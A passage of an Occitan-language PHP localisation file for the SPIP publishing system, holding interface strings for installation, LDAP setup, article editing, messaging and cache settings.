'info_aujourdhui' => 'encuei:',
'info_auteur_message' => 'AUTOR DAU MESSATGE:',
'info_auteurs' => 'Los autors',
'info_auteurs_par_tri' => 'autors@partri@',
'info_auteurs_trouves' => 'Autors trobats',
'info_authentification_externe' => 'Autentificacion extèrna',
'info_avertissement' => 'Avís',
'info_base_installee' => 'L’estructura de vòstra basa de donaas es installaa.',
'info_chapeau' => 'Chapèl',
'info_chapeau_2' => 'Chapèl:',
'info_chemin_acces_1' => 'Opcions: <b>chamin d’accès dins l’annuari</b>',
'info_chemin_acces_2' => 'Aüra devètz configurar lo chamin d’accès vèrs las informacions dins l’annuari.',
'info_chemin_acces_annuaire' => 'Opcions:<b>chamin d’accès dins l’annuari',
'info_choix_base' => 'Tresena estapa:',
'info_classement_1' => '<sup>ier</sup> de @liste@',
'info_classement_2' => '<sup>nd</sup> de @liste@',
'info_code_acces' => 'Eissublietz pas vòstres còdes d’accès pròpris!',
'info_config_suivi' => 'S’aquela adreiça correspònd a una lista de corrier, poètz indicar çai sos l’adreiça ont los participants au sit se pòon inscriure. Aquela adreiça pòt èstre una URL (per exemple la pagina d’inscripcion a la lista per lo web), o una adreiça e-mail tenent un subjècte especific (per exemple: <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Poètz recebre automaticament, per e-mail, los anoncis pertochant l’activitat editoriala d’aquel sit. Per aquò faire, vos poètz abonar a la lista de corrier seguenta:',
'info_confirmer_passe' => 'Confirmar aquel mot de santa Clara novèl:',
'info_connexion_base' => 'Segonda estapa: <b>Assai de connexion a la basa</b>',
'info_connexion_ldap_ok' => 'La connexion LDAP a abotit.</b><p> Poètz passar a l’estapa seguenta.', # MODIF
'info_connexion_mysql' => 'Primiera estapa:<b>Vòstra connexion SQL</b>',
'info_connexion_ok' => 'La connexion a abotit.',
'info_contact' => 'Contacte',
'info_contenu_articles' => 'Contengut dels articles',
'info_creation_paragraphe' => '(Per crear de paragrafes, sufís que laissetz de linhas voidas.)', # MODIF
'info_creation_rubrique' => 'Avans de poer escriure d’articles,<br /> devètz crear aumens una rubrica.<br />',
'info_creation_tables' => 'Quatrena estapa: <b>Creacion de las taulas de la basa</b>',
'info_creer_base' => '<b>Crear</b> una basa de donaas novèla:',
'info_dans_rubrique' => 'Dins la rubrica:',
'info_date_publication_anterieure' => 'Data anteriora de publicacion:',
'info_date_referencement' => 'DATA DE REFERENCIAMENT D’AQUEL SIT:',
'info_derniere_etape' => 'Darriera estapa: <b>Aquò’s achabat!',
'info_derniers_articles_publies' => 'Vòstres darriers articles publicats en linha',
'info_desactiver_messagerie_personnelle' => 'Poètz activar o desactivar vòstra messatjariá personala sobre aqueu sit.',
'info_descriptif' => 'Descriptiu:',
'info_discussion_cours' => 'Discussions en cors',
'info_ecrire_article' => 'Avans de poer escriure d’articles, vos chau crear aumens una rubrica.',
'info_email_envoi' => 'Adreiça e-mail d’enviament (opcional)',
'info_email_envoi_txt' => 'Indicatz aicí l’adreiça d’utilizar per enviar los e-mails (a fauta d’aquò, s’utilizarà l’adreiça destinatari coma adreiça d’enviament):',
'info_email_webmestre' => 'Adreiça e-mail dau responsable dau sit (opcional)', # MODIF
'info_entrer_code_alphabet' => 'Picatz lo còde de l’alfabet d’utilizar:',
'info_envoi_email_automatique' => 'Enviament d’e-mails automatics',
'info_envoyer_maintenant' => 'Mandar aüra',
'info_etape_suivante' => 'Passar a l’estapa seguenta',
'info_etape_suivante_1' => 'Poètz passar a l’estapa seguenta.',
'info_etape_suivante_2' => 'Poètz passar a l’estapa seguenta.',
'info_exportation_base' => 'exportacion de la basa vèrs @archive@',
'info_facilite_suivi_activite' => 'Per facilitar lo seguit de l’activitat editoriala dau sit, SPIP vos pòt fornir per e-mail, per exemple a una lista de corrier dels redactors, l’anonci de las demandas de publicacion e de las validacions d’articles.',
'info_fichiers_authent' => 'Fichiers d’autentificacion « .htpasswd »',
'info_forums_abo_invites' => 'Vòstre sit web òfre de forums per los abonats; dins lo sit public los vesitaires son convidats a se registrar.',
'info_gauche_admin_effacer' => '<b>A aquela pagina, mas que los responsables dau sit i pòon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_admin_tech' => '<b>A aquela pagina, mas que los responsables dau sit i pòon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_admin_vider' => '<b>A aquela pagina, mas que los responsables dau sit i pòon accedir.</b><p> Permet de trobar las diferentas foncions de mantenença tecnica. Quauques unas implican un procès d’autentificacion especific, que necessita un accès FTP vèrs lo sit web.</p>', # MODIF
'info_gauche_auteurs' => 'Trobaretz aicí totes los autors dau sit. La color de las icònas n’indica l’estatut (administrator = verd; redactor = jaune).',
'info_gauche_auteurs_exterieurs' => 'Los autors exteriors, sens accès vèrs lo sit, son indicats amb una icòna blava; los autors esfaçats amb un bordilhier.', # MODIF
'info_gauche_messagerie' => 'La messatjariá vos permet d’eschambiar de mementos (per vòstre usatge personal) o d’afichar d’anoncis sus la pagina d’acuelh de l’espaci privat (se siatz administrator/tritz).',
'info_gauche_numero_auteur' => 'AUTOR NUMÈRO',
'info_gauche_statistiques_referers' => 'Aquela pagina presenta la lista dels <i>referiors</i>, aquò vòu dire dels sits que contenon de liams que menan vèrs vòstre sit pròpri, mas unicament au jorn d’encuei: aquela lista s’actualiza chasca 24 oras.',
'info_gauche_visiteurs_enregistres' => 'Trobaretz aquí los vesitaires registrats
dins l’espaci public dau sit (forums amb abonament).',
'info_generation_miniatures_images' => 'Congreacion de miniaturas dels imatges',
'info_gerer_trad' => 'Gerir los liams de reviraa?',
'info_hebergeur_desactiver_envoi_email' => 'Quauques auberjaors desactivan l’enviament automatic
d’e-mails dempuei lors serviors. En aqueu cas, las foncionalitats seguentas
d’SPIP foncionaràn pas.',
'info_hier' => 'ièr:',
'info_historique_activer' => 'Activar lo seguiment de las revisions',
'info_historique_affiche' => 'Afichar aquela version',
'info_historique_comparaison' => 'comparason',
'info_historique_desactiver' => 'Desactivar lo seguiment de las revisions',
'info_historique_texte' => 'Lo seguiment de las revisions permet de servar un istoric de totas las modificacions que s’es portat au contengut d’un article, e d’afichar las diferéncias entre las versions successivas.',
'info_identification_publique' => 'Vòstra identitat publica...',
'info_image_process' => 'Volhatz seleccionar lo melhor metòde de fabricacion de las vinhetas en clicar sus l’imatge correspondent.',
'info_image_process2' => '<b>N.B.</b> <i>Se ges d’imatge apareis, aladonc lo servior qu’aubèrja vòstre sit l’an pas configurat per utilizar d’aisinas talas. Se desiratz d’utilizar aquelas foncions, contactatz lo responsable tecnic e demandatz las extensions «GD» o «Imagick».</i>', # MODIF
'info_images_auto' => 'Imatges calculats automaticament',
'info_informations_personnelles' => 'Cinquena estapa: <b>Informacions personalas</b>',
'info_inscription_automatique' => 'Inscripcion automatica de redactors novèls',
'info_jeu_caractere' => 'Juec de caractèrs dau sit',
'info_jours' => 'jorns',
'info_laisser_champs_vides' => 'laissar aqueles champs voides)',
'info_langues' => 'Lengas dau sit',
'info_ldap_ok' => 'L’autentificacion LDAP es installaa.',
'info_lien_hypertexte' => 'Liam ipertèxt:',
'info_liste_redacteurs_connectes' => 'Tiera dels redactors connectats',
'info_login_existant' => 'Aquel login ja existís.',
'info_login_trop_court' => 'Login tròp cort.',
'info_maximum' => 'maximum:',
'info_meme_rubrique' => 'Dins la mesma rubrica',
'info_message' => 'Messatge dau',
'info_message_efface' => 'MESSATGE ESFAÇAT',
'info_message_en_redaction' => 'Vòstres messatges en cors de redaccion',
'info_message_technique' => 'Messatge tecnic:',
'info_messagerie_interne' => 'Messatjariá intèrna',
'info_mise_a_niveau_base' => 'Mesa a nivèu de vòstra basa SQL',
'info_mise_a_niveau_base_2' => '{{Atencion!}} Avètz installaa una version
dels fichiers SPIP {anteriora} a la que i aviá
avans sobre aquest sit: riscatz de pèrdre vòstra basa de donaas
e vòstre sit foncionarà pas pus.<br />{{Tornatz installar los
fichiers d’SPIP.}}',
'info_modifier_rubrique' => 'Modificar la rubrica:',
'info_modifier_titre' => 'Modificar: @titre@',
'info_mon_site_spip' => 'Mon sit SPIP',
'info_mot_sans_groupe' => '(Mots fòra grop...)',
'info_moteur_recherche' => 'Cerchaor integrat',
'info_moyenne' => 'mejana:',
'info_multi_articles' => 'Activar lo menut de lenga per los articles?',
'info_multi_cet_article' => 'Lenga d’aquest article:',
'info_multi_langues_choisies' => 'Volhatz seleccionar çai sos las lengas que son a posita dels redactors de vòstre sit.
Las lengas ja emplejaas dins vòstre sit (afichaas primieras) se pòon pas desactivar.',
'info_multi_rubriques' => 'Activar lo menut de lenga per las rubricas?',
'info_multi_secteurs' => '... mas que per las rubricas a la raiç dau sit?',
'info_nom' => 'Nom',
'info_nom_destinataire' => 'Nom dau destinatari',
'info_nom_site' => 'Nom de vòstre sit',
'info_nombre_articles' => '@nb_articles@ articles,',
'info_nombre_partcipants' => 'PARTICIPANTS A LA DISCUSSION:',
'info_nombre_rubriques' => '@nb_rubriques@ rubricas,',
'info_nombre_sites' => '@nb_sites@ sits,',
'info_non_deplacer' => 'De pas desplaçar...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'SPIP pòt mandar, regularament, l’anonci de las darrieras novetats dau sit
(articles e brèvas publicats recentament).',
'info_non_envoi_liste_nouveautes' => 'Pas mandar la tiera de las novetats',
'info_non_modifiable' => 'se pòt pas modificar',
'info_non_suppression_mot_cle' => 'vòlo pas suprimir aquel mot clau.',
'info_notes' => 'Nòtas',
'info_nouveaux_message' => 'Messatges nòus',
'info_nouvel_article' => 'Article nòu',
'info_nouvelle_traduction' => 'Reviraa nòva:',
'info_numero_article' => 'ARTICLE NUMÈRO:',
'info_obligatoire_02' => '[Obligatòri]', # MODIF
'info_option_accepter_visiteurs' => 'Acceptar l’inscripcion dels vesitaires dau sit public',
'info_option_faire_suivre' => 'Far sègre los messatges dels forums als autors dels articles',
'info_option_ne_pas_accepter_visiteurs' => 'Refusar l’inscripcion de vesitaires',
'info_options_avancees' => 'OPCIONS AVANÇAAS',
'info_ortho_activer' => 'Activar lo verificaor d’ortografia',
'info_ortho_desactiver' => 'Desactivar lo verificaor d’ortografia',
'info_ou' => 'o... ',
'info_page_interdite' => 'Pagina proïbia',
'info_par_nombre_article' => '(per nombre d’articles)',
'info_passe_trop_court' => 'Mot de santa Clara tròp cort.',
'info_passes_identiques' => 'Los dos mots de santa Clara son pas identics.',
'info_pense_bete_ancien' => 'Vòstres mementos ancians ', # MODIF
'info_plus_cinq_car' => 'mai de 5 caractèrs',
'info_plus_cinq_car_2' => '(mai de 5 caractèrs)',
'info_plus_trois_car' => '(mai de 3 caractèrs)',
'info_popularite' => 'popularitat: @popularite@; vesitas: @visites@',
'info_popularite_4' => 'popularitat: @popularite@; vesitas: @visites@',
'info_post_scriptum' => 'Post-scriptum',
'info_post_scriptum_2' => 'Post-scriptum:',
'info_pour' => 'per',
'info_preview_admin' => 'Mas que los administrators pòon previsualizar lo sit',
'info_preview_comite' => 'Totes los redactors pòon previsualizar lo sit',
'info_preview_desactive' => 'La previsualizacion es dau tot desactivaa',
'info_preview_texte' => 'Es possible de previsualizar lo sit coma s’avián publicat totes los articles e brèvas (que tenon aumens l’estatut "prepausat"). La chal dobrir, aquela possibilitat, als administrators solament, a totes los redactors, o a degun?',
'info_principaux_correspondants' => 'Vòstres correspondents principals',
'info_procedez_par_etape' => 'procedissètz estapa per estapa',
'info_procedure_maj_version' => 'Chal lançar la procedura d’actualizacion per adaptar
la basa de donaas a la version novèla d’SPIP.',
'info_ps' => 'P.S.',
'info_publier' => 'publicar',
'info_publies' => 'Vòstres articles publicats en linha',
'info_question_accepter_visiteurs' => 'S’a las esqueletas de vòstre sit web se prevei lo registrament de vesitaires sens accès a l’espaci privat, volhatz activar l’opcion seguenta:',
'info_question_inscription_nouveaux_redacteurs' => 'Acceptatz que de redactors novèls s’inscrivan
a partir dau sit public? Se o acceptatz, los vesitaires se poiràn inscriure
gràcias a un formulari automatizat e doncas accediràn a l’espaci privat per
prepausar d’articles.<blockquote><i> Durant la fasa d’inscripcion, los utilizaires recebon un e-mail automatic
que lor baila un còde d’accès vèrs lo sit privat.
Quauques auberjaors autorizan pas l’enviament d’e-mails dempuei lors serviors: en aqueu cas, l’inscripcion automatica es
impossibla.', # MODIF
'info_question_utilisation_moteur_recherche' => 'Desiratz d’utilizar lo cerchaor integrat a SPIP? (lo desactivar abriva lo foncionament dau sistèma.)',
'info_qui_edite' => '@nom_auteur_modif@ a travaillé sur ce contenu il y a @date_diff@ minutes', # MODIF
'info_racine_site' => 'Raiç dau sit',
'info_recharger_page' => 'Volhatz tornar charjar aquela pagina dins un momenton.',
'info_recherche_auteur_a_affiner' => 'Tròp de resultats per "@cherche_auteur@"; volhatz afinar la cèrcha.',
'info_recherche_auteur_ok' => 'Mai d’un redactor trobat per "@cherche_auteur@":',
'info_recherche_auteur_zero' => '<b>Ges de resultat trobat per "@cherche_auteur@".',
'info_recommencer' => 'Volhatz tornar començar.',
'info_redacteur_1' => 'Redactor',
'info_redacteur_2' => 'qu’accedís vèrs l’espaci privat (<i>recomandat</i>)',
'info_redacteurs' => 'Redactors',
'info_redaction_en_cours' => 'EN CORS DE REDACCION',
'info_redirection' => 'Redireccion',
'info_refuses' => 'Vòstres articles refusats',
'info_reglage_ldap' => 'Opcions: <b>Reglatge de l’importacion LDAP</b>',
'info_renvoi_article' => '<b>Redireccion.</b> Aquel article remanda a la pagina:',
'info_reserve_admin' => 'Mas los administrators pòon modificar aquela adreiça.',
'info_restreindre_rubrique' => 'Restrénher la gestion a la rubrica:',
'info_resultat_recherche' => 'Resultats de la cèrcha:',
'info_rubriques' => 'Rubricas',
'info_rubriques_02' => 'rubricas',
'info_rubriques_trouvees' => 'Rubricas trobaas',
'info_rubriques_trouvees_dans_texte' => 'Rubricas trobaas (dins lo tèxt)',
'info_sans_titre' => 'Sens títol',
'info_selection_chemin_acces' => '<b>Seleccionatz</b> çai sos lo chamin d’accès dins l’annuari:',
'info_signatures' => 'signaturas',
'info_site' => 'Sit',
'info_site_2' => 'sit: ',
'info_site_min' => 'sit',
'info_site_reference_2' => 'Sit referenciat',
'info_site_web' => 'SIT WEB:', # MODIF
'info_sites' => 'sits',
'info_sites_lies_mot' => 'Los sits referenciats liats a aquel mot clau',
'info_sites_proxy' => 'Utilizar un proxy',
'info_sites_trouves' => 'Sits trobats',
'info_sites_trouves_dans_texte' => 'Sits trobats (dins lo tèxt)',
'info_sous_titre' => 'Sostítol:',
'info_statut_administrateur' => 'Administrator',
'info_statut_auteur' => 'Estatut d’aquel autor:', # MODIF
'info_statut_efface' => 'Esfaçat',
'info_statut_redacteur' => 'Redactor',
'info_statut_utilisateurs_1' => 'Estatut predefinit dels utilizaires importats',
'info_statut_utilisateurs_2' => 'Chausissètz l’estatut d’atribuir a las personas presentas dins l’annuari LDAP quand se connèctan per lo primier viatge. Poiretz puei modificar aquel estatut per chasque autor un cas per un.',
'info_suivi_activite' => 'Seguit de l’activitat editoriala',
'info_surtitre' => 'Sobretítol:',
'info_taille_maximale_vignette' => 'Talha maximala de las vinhetas congreaas per lo sistèma:',
'info_terminer_installation' => 'Aüra poètz achabar la procedura d’installacion estandard.',
'info_texte' => 'Tèxt',
'info_texte_explicatif' => 'Tèxt explicatiu',
'info_texte_long' => '(lo tèxt es lòng: apareis doncas en talhons distints que se tornaràn empejar un còp validats.)',
'info_texte_message' => 'Tèxt de vòstre messatge:', # MODIF
'info_texte_message_02' => 'Tèxt dau messatge',
'info_titre' => 'Títol:',
'info_total' => 'total: ',
'info_tous_articles_en_redaction' => 'Totes los articles en cors de redaccion',
'info_tous_articles_presents' => 'Totes los articles publicats dins aquela rubrica',
'info_tous_les' => 'totes los:',
'info_tous_redacteurs' => 'Anoncis per totes los redactors ',
'info_tout_site' => 'Tot lo sit ',
'info_tout_site2' => 'An pas revirat l’article dins aquela lenga.',
'info_tout_site3' => 'An revirat l’article dins aquela lenga, mas an portat puei de modificacions a l’article de referéncia. Chal actualizar la reviraa.',
'info_tout_site4' => 'An revirat l’article dins aquela lenga, e la reviraa es actualizaa.',
'info_tout_site5' => 'Article original.',
'info_tout_site6' => '<b>Atencion:</b> mas que los articles originals s’afichan.
Las reviraas s’assòcian a l’original,
una color indica lor estat:',
'info_travail_colaboratif' => 'Trabalh collaboratiu sobre los articles',
'info_un_article' => 'un article, ',
'info_un_site' => 'un sit, ',
'info_une_rubrique' => 'una rubrica, ',
'info_une_rubrique_02' => '1 rubrica',
'info_url' => 'URL:',
'info_url_site' => 'URL DAU SIT:',
'info_urlref' => 'Liam ipertèxt:',
'info_utilisation_spip' => 'Aüra poètz començar d’utilizar lo sistèma de publicacion assistia...',
'info_visites_par_mois' => 'Afichatge per mes:',
'info_visiteur_1' => 'Vesitaire',
'info_visiteur_2' => 'dau sit public',
'info_visiteurs' => 'Vesitaires',
'info_visiteurs_02' => 'Vesitaires dau sit public',
'install_echec_annonce' => 'L’installacion capitarà mau, o abotirà a un sit non foncionau...',
'install_extension_mbstring' => 'SPIP fonciona pas amb:',
'install_extension_php_obligatoire' => 'SPIP exigís l’extension php:',
'install_select_langue' => 'Seleccionatz una lenga puei clicatz lo boton «seguent» per amodar la procedura d’installacion.',
'intem_redacteur' => 'redactor',
'item_accepter_inscriptions' => 'Acceptar las inscripcions',
'item_activer_messages_avertissement' => 'Activar los messatges d’avertiment',
'item_administrateur_2' => 'administrator',
'item_afficher_calendrier' => 'Afichar dins lo chalendier',
'item_autoriser_documents_joints' => 'Autorizar que se jonha de documents als articles',
'item_autoriser_documents_joints_rubriques' => 'Autorizar los documents dins las rubricas',
'item_choix_administrateurs' => 'los administrators',
'item_choix_generation_miniature' => 'Congrear automaticament las miniaturas dels imatges.',
'item_choix_non_generation_miniature' => 'Pas congrear de miniaturas dels imatges.',
'item_choix_redacteurs' => 'los redactors',
'item_choix_visiteurs' => 'los vesitaires dau sit public',
'item_creer_fichiers_authent' => 'Crear de fichiers .htpasswd',
'item_limiter_recherche' => 'Limitar la cèrcha a las informacions contenguas dins vòstre sit',
'item_login' => 'Login',
'item_mots_cles_association_articles' => 'als articles',
'item_mots_cles_association_rubriques' => 'a las rubricas',
'item_mots_cles_association_sites' => 'als sits referenciats o sindicats',
'item_non' => 'Non ',
'item_non_accepter_inscriptions' => 'Pas acceptar las inscripcions',
'item_non_activer_messages_avertissement' => 'Ges de messatge d’avertiment',
'item_non_afficher_calendrier' => 'De pas afichar dins lo chalendier',
'item_non_autoriser_documents_joints' => 'Pas autorizar los documents dins los articles',
'item_non_autoriser_documents_joints_rubriques' => 'Pas autorizar los documents dins las rubricas',
'item_non_creer_fichiers_authent' => 'Pas crear aqueles fichiers',
'item_non_gerer_statistiques' => 'Pas gerir las estadisticas',
'item_non_limiter_recherche' => 'Alarjar la cèrcha au contengut dels sits referenciats',
'item_non_publier_articles' => 'Pas publicar los articles avans la data de publicacion prevista.',
'item_non_utiliser_moteur_recherche' => 'Pas utilizar lo motor',
'item_nouvel_auteur' => 'Autor nòu',
'item_nouvelle_rubrique' => 'Rubrica nòva',
'item_oui' => 'Òc',
'item_publier_articles' => 'Publicar los articles, quina que siá lor data de publicacion',
'item_reponse_article' => 'Respònsa a l’article',
'item_utiliser_moteur_recherche' => 'Utilizar lo cerchaor',
'item_visiteur' => 'vesitaire',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'lien_ajout_destinataire' => 'Apondre aqueu destinatari',
'lien_ajouter_auteur' => 'Apondre aquel autor',
'lien_ajouter_participant' => 'Apondre un participant',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NOM DAU SIT:',
'lien_retirer_auteur' => 'Levar l’autor',
'lien_retrait_particpant' => 'Levar aqueu participant',
'lien_site' => 'sit',
'lien_supprimer_rubrique' => 'suprimir aquela rubrica',
'lien_tout_deplier' => 'Desplejar tot',
'lien_tout_replier' => 'Tornar plejar',
'lien_trier_nom' => 'Triar per nom',
'lien_trier_nombre_articles' => 'Triar per nombre d’articles',
'lien_trier_statut' => 'Triar per estatut',
'lien_voir_en_ligne' => 'VEIRE EN LINHA:',
'logo_article' => 'LÒGO DE L’ARTICLE', # MODIF
'logo_auteur' => 'LÒGO DE L’AUTOR', # MODIF
'logo_rubrique' => 'LÒGO DE LA RUBRICA', # MODIF
'logo_site' => 'LÒGO D’AQUEU SIT', # MODIF
'logo_standard_rubrique' => 'LÒGO ESTANDARD DE LAS RUBRICAS', # MODIF
'logo_survol' => 'LÒGO PER LO SOBREVÒU', # MODIF
// M
'menu_aide_installation_choix_base' => 'Chausia de vòstra basa',
'module_fichier_langue' => 'Fichier de lenga',
'module_raccourci' => 'Acorcha',
'module_texte_affiche' => 'Tèxt afichat',
'module_texte_explicatif' => 'Poètz inserir las acorchas seguentas dins las esqueletas de vòstre sit public. Se reviraràn automaticament dins las diferentas lengas per las qualas existís un fichier de lenga.',
'module_texte_traduction' => 'Lo fichier de lenga «@module@» es disponible en:',
'mois_non_connu' => 'non conegut',
// O
'onglet_repartition_actuelle' => 'd’aquesta passa',
// S
'statut_admin_restreint' => '(admin. restrench)', # MODIF
// T
'taille_cache_image' => 'Los imatges qu’SPIP a calculat automaticament (vinhetas dels documents, títols presentats en forma grafica, foncions matematicas en format TeX...) ocupan dins lo repertòri @dir@ un totau de @taille@.',
'taille_cache_infinie' => 'Aqueu sit prevei ges de limitacion de talha dau repertòri <code>CACHE/</code>.',
'taille_cache_maxi' => 'SPIP assaia de limitar la talha dau repertòri <code>CACHE/</code> d’aqueu sit a <b>@octets@</b> de donaas environ.',
'taille_cache_octets' => 'Aüra la talha de l’escondeor compassa @octets@.', # MODIF
'taille_cache_vide' => 'L’escondeor es vueid.',
'taille_repertoire_cache' => 'Talha dau repertòri escondeor',
'text_article_propose_publication' => 'Article prepausat per la publicacion. Esitetz pas de donar vòstre avís gràcias au forum estachat a aquel article (en bas de pagina).', # MODIF
'texte_acces_ldap_anonyme_1' => 'Quauques serviors LDAP accèptan ges d’accès anonim. En aqueu cas, chau especificar un identificant d’accès iniciau per poer puei cerchar d’informacions dins l’annuari. Pasmens, los champs seguents se poiràn laissar voides dins la màger part dels cases.',
'texte_admin_effacer_01' => 'Aquela comanda esfaça <i>tot</i> lo contengut de la basa de donaas,
incluses <i>tots</i> los accèsses redactors e administrators. Un còp que l’auretz executaa, auretz de tornar lançar l’installacion d’SPIP per tornar crear una basa novèla e mai un primier accès administrator.',
'texte_adresse_annuaire_1' => '(Se vòstre annuari es installat sobre la mesma maquina qu’aqueu sit web, s’agís probable de "localhost".)',
'texte_ajout_auteur' => 'L’autor seguent es estat apondut a l’article:',
'texte_annuaire_ldap_1' => 'S’accedissètz a un annuari (LDAP), lo poètz utilizar per importar automaticament d’utilizaires sos SPIP.',
'texte_article_statut' => 'Aquel article es:',
'texte_article_virtuel' => 'Article virtuau',
'texte_article_virtuel_reference' => '<b>Article virtuau:</b> article referenciat dins vòstre sit SPIP, mas redirigit vèrs una autra URL. Per suprimir la redireccion, esfaçatz l’URL çai sobre.',
'texte_aucun_resultat_auteur' => 'Ges de resultat per "@cherche_auteur@"',
'texte_auteur_messagerie' => 'Aquest sit vos pòt indicar de contunha la tiera dels redactors connectats, çò que vos permet d’eschambiar de messatges en dirècte. Poètz decidir de pas aparéisser dins aquela lista (siatz "invisible/a" per los autres utilizaires).',
'texte_auteur_messagerie_1' => 'Aqueu sit permet d’eschambiar de messatges e de constituir de forums de discussion privats entre los participants dau sit. Poètz decidir de pas participar a aqueles eschambis.',
'texte_auteurs' => 'LOS AUTORS',
'texte_choix_base_1' => 'Chausissètz vòstra basa:',
'texte_choix_base_2' => 'Lo servior SQL conten mai d’una basa de donaas.',
'texte_choix_base_3' => '<b>Chausissètz</b> çai sos aquela que vòstre auberjaor vos a atribuïa:',
'texte_commande_vider_tables_indexation' => 'Utilizatz aquela comanda per voidar las taulas d’indexacion utilizaas per lo cerchaor integrat a SPIP. Aquò permetrà
de ganhar d’espaci disc.',
'texte_compresse_ou_non' => '(Aquest se pòt comprimir o non)',
'texte_compte_element' => '@count@ element',
'texte_compte_elements' => '@count@ elements',
'texte_connexion_mysql' => 'Consultatz las informacions que vòstre auberjaor fornís: i devètz trobar, se vòstre auberjaor supòrta SQL, los còdes de connexion au servior SQL.', # MODIF
'texte_contenu_article' => '(Contengut de l’article en quauques mots.)',
'texte_contenu_articles' => 'Segon la maqueta que vòstre sit a adoptaa, poètz decidir
que quauques elements dels articles s’utilizen pas.
Utilizatz la tiera çai sos per indicar quins elements son disponibles.',
'texte_crash_base' => 'Se vòstra basa de donaas a
mau capitat, poètz assajar una reparacion
automatica.',
'texte_creer_rubrique' => 'Avans de poer escriure d’articles,<br /> devètz crear una rubrica.',
'texte_date_creation_article' => 'DATA DE CREACION DE L’ARTICLE:',
'texte_date_publication_anterieure' => 'DATA DE PUBLICACION ANTERIORA',
'texte_date_publication_anterieure_nonaffichee' => 'Afichar ges de data de publicacion anteriora.',
'texte_date_publication_article' => 'DATA DE PUBLICACION EN LINHA :',
'texte_descriptif_petition' => 'Descriptiu de la peticion',
'texte_descriptif_rapide' => 'Descriptiu rapid',
'texte_effacer_base' => 'Esfaçar la basa de donaas SPIP',
'texte_effacer_donnees_indexation' => 'Esfaçar las donaas d’indexacion',
'texte_en_cours_validation' => 'Se prepausa de publicar los articles e brèvas çai sos. Esitetz pas per donar vòstre avís gràcias als forums que i son estachats.', # MODIF
'texte_enrichir_mise_a_jour' => 'Poètz enrichir la compaginacion de vòstre tèxt en utilizant d’"acorchas tipograficas".',
'texte_fichier_authent' => '<b>Deu crear, SPIP, de fichiers especiaus <tt>.htpasswd</tt>
e <tt>.htpasswd-admin</tt> dins lo repertòri @dossier@ ?</b><p>
Aqueles fichiers vos pòon servir per restrénher l’accès als autors
e administrators autra part dins vòstre sit
(programa extèrne d’estadisticas, per exemple).<p>
Se vos sèrv pas, poètz laissar aquesta opcion
a sa valor predefinia (ges de creacion
dels fichiers).', # MODIF
'texte_informations_personnelles_1' => 'Aüra lo sistèma vos crearà un accès personalizat au sit.',
'texte_informations_personnelles_2' => '(Nòta: se s’agís d’una reïnstallacion, e se vòstre accès fonciona encara, poètz', # MODIF
'texte_introductif_article' => '(Tèxt introductiu de l’article.)',
'texte_jeu_caractere' => 'Aquesta opcion es utila se vòstre sit deu afichar d’alfabets
diferents de l’alfabet latin (o "occidentau") e sos derivats.
En aqueu cas, vau mai chambiar lo reglatge predefinit per
un juec de caractèrs apropriat. Com que siá vos conselham de far d’assais
per fin de trobar una solucion satisfasenta. Se modificatz aqueu paramètre, eissublietz pas nimai d’adaptar
lo sit public en consequéncia (balisa <tt>#CHARSET</tt>).',
'texte_jeu_caractere_2' => 'Aquest reglatge a ges d’efiech retroactiu. Adoncas
los tèxtes ja sasits se pòon afichar
d’una maniera incorrècta après que s’aia modificat lo reglatge. Coma que siá
poiretz tornar sens damatge au reglatge precedent.',
'texte_lien_hypertexte' => '(Se vòstre messatge se referís a un article publicat sus lo web, o a una pagina fornissent mai d’informacions, vougatz indicar çai sos lo títol de la pagina e son adreiça URL.)',
'texte_login_ldap_1' => '(Laissar voide per un accès anonim, o picar lo chamin complet, per exemple «<tt>uid=fabre, ou=usanciers, dc=mon-domeni, dc=com</tt>».)',
'texte_login_precaution' => 'Atencion! Aquò’s lo login amb lo quau siatz aüra connectat/aa.
Utilizatz aquest formulari amb precaucion...',
'texte_message_edit' => 'Atencion: aquest messatge, chasque redactor lo pòt veire, e chasque administrator dau sit lo pòt modificar. Utilizatz los anoncis mas que per expausar d’eveniments importants de la vita dau sit.',
'texte_mise_a_niveau_base_1' => 'Venètz d’actualizar los fichiers SPIP.
Aüra chau metre a nivèu la basa de donaas
dau sit.',
'texte_modifier_article' => 'Modificar l’article:',
'texte_moteur_recherche_active' => '<b>Lo cerchaor es activat.</b> Utilizatz aquesta commanda
se volètz tornar indexar la basa rapidament (après restauracion
d’una sauvagarda per exemple). Notatz que los documents modificats de
maniera normala (a partir de l’interfàcia SPIP) se tornan indexar
automaticament: donc aquesta comanda es utila solament de maniera excepcionala.',
'texte_moteur_recherche_non_active' => 'Lo cerchaor es pas activat.',
'texte_multilinguisme' => 'Se desiratz de gerir d’articles en mai d’una lenga, amb una navigacion complèxa, poètz apondre un menut per chausir la lenga dels articles e/o de las rubricas, en foncion de l’organizacion de vòstre sit.', # MODIF
'texte_multilinguisme_trad' => 'Poètz activar pereu un sistèma de gestion dels liams entre las diferentas reviraas d’un article.', # MODIF
'texte_non_compresse' => '<i>non comprimit</i> (perque vòstre servior supòrta pas aquela foncionalitat)',
'texte_nouveau_message' => 'Messatge nòu',
'texte_nouvelle_version_spip_1' => 'Avètz installaa una version novèla d’SPIP.',
'texte_nouvelle_version_spip_2' => 'Aquesta version novèla demanda una actualizacion mai completa que de costuma. Se siatz webmèstre/webmèstra dau sit, volhatz esfaçar lo fichier <tt>inc_connect.php3</tt> dau repertòri <tt>ecrire</tt> e tornar prene l’installacion a fin d’actualizar vòstres paramètres de connexion a la basa de donaas.<p> (NB: s’avètz eissubliat vòstres paramètres de connexion, agachatz lo fichier <tt>inc_connect.php3</tt> avans de lo suprimir...)</p>', # MODIF
'texte_operation_echec' => 'Tornatz a la pagina precedenta, chausissètz una autra basa o creatz-ne’n una novèla. Verificatz las informacions que vòstre auberjaor a fornias.',
'texte_plus_trois_car' => 'mai de 3 caractèrs',
'texte_plusieurs_articles' => 'Mai d’un autor trobat per "@cherche_auteur@":',
'texte_port_annuaire' => '(La valor indicaa coma predefinia conven en generau.)',
